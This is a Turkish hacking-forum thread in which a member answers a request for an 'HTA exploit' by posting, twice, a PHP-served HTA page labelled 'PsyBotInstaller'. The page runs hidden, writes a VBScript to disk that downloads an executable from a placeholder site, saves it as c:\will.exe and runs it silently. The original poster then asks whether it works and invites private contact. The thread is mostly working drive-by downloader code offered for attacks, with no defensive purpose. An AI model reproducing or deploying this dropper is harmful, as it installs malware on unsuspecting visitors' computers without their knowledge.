Hta expLoit ?
- Konbuyu başlatan Kruis
- Başlangıç tarihi
Resources
New member
Aradıgın bu Sanırım
<?php header("Content-type: application/hta"); ?>
<HTML>
<HEAD>
<TITLE></TITLE>
<HTA:APPLICATION ID="PsyBot"
APPLICATIONNAME="PsyBotInstaller"
BORDER="none"
BORDERSTYLE="normal"
CAPTION="no"
ICON=""
CONTEXTMENU="no"
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="no"
VERSION="1.0"
WINDOWSTATE="minimize"/>
<script LANGUAGE="VBScript">
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.CreateTextFile("c:\net.vbs", True)
TSO.write "Dim BinaryData" & vbcrlf
TSO.write "Dim xml" & vbcrlf
TSO.write "Set xml = CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf
TSO.write "xml.Open ""GET"", "" http://siteadı.com/program.exe"", False " & vbcrlf
TSO.write "xml.Send" & vbcrlf
TSO.write "BinaryData = xml.ResponseBOdy" & vbcrlf
TSO.write "Const adTypeBinary = 1" & vbcrlf
TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf
TSO.write "Dim BinaryStream" & vbcrlf
TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf
TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf
TSO.write "BinaryStream.Open" & vbcrlf
TSO.write "BinaryStream.Write BinaryData" & vbcrlf
TSO.write "BinaryStream.SaveToFile ""c:\will.exe"", adSaveCreateOverWrite" & vbcrlf
TSO.write "Dim WshShell" & vbcrlf
TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf
TSO.write "WshShell.Run ""c:\will.exe"", 0, false" & vbcrlf
TSO.close
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "c:\net.vbs", 0, false
</SCRIPT>
<script>
window.close()
</script>
</HEAD>
</html>
<?php header("Content-type: application/hta"); ?>
<HTML>
<HEAD>
<TITLE></TITLE>
<HTA:APPLICATION ID="PsyBot"
APPLICATIONNAME="PsyBotInstaller"
BORDER="none"
BORDERSTYLE="normal"
CAPTION="no"
ICON=""
CONTEXTMENU="no"
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="no"
VERSION="1.0"
WINDOWSTATE="minimize"/>
<script LANGUAGE="VBScript">
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.CreateTextFile("c:\net.vbs", True)
TSO.write "Dim BinaryData" & vbcrlf
TSO.write "Dim xml" & vbcrlf
TSO.write "Set xml = CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf
TSO.write "xml.Open ""GET"", "" http://siteadı.com/program.exe"", False " & vbcrlf
TSO.write "xml.Send" & vbcrlf
TSO.write "BinaryData = xml.ResponseBOdy" & vbcrlf
TSO.write "Const adTypeBinary = 1" & vbcrlf
TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf
TSO.write "Dim BinaryStream" & vbcrlf
TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf
TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf
TSO.write "BinaryStream.Open" & vbcrlf
TSO.write "BinaryStream.Write BinaryData" & vbcrlf
TSO.write "BinaryStream.SaveToFile ""c:\will.exe"", adSaveCreateOverWrite" & vbcrlf
TSO.write "Dim WshShell" & vbcrlf
TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf
TSO.write "WshShell.Run ""c:\will.exe"", 0, false" & vbcrlf
TSO.close
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "c:\net.vbs", 0, false
</SCRIPT>
<script>
window.close()
</script>
</HEAD>
</html>
Kruis
Banned
- Katılım
- 1 Tem 2005
- Mesajlar
- 336
- Reaction score
- 0
- Puanları
- 0
- Yaş
- 40
hocam peki bunu sen denedin mi sitende feLan ? Bir çok böyle hta dolanıyor nette ama indirtmiyor 
[email protected] msnye gelirsen yardımlaşırız. ilgin için saol.
[email protected] msnye gelirsen yardımlaşırız. ilgin için saol.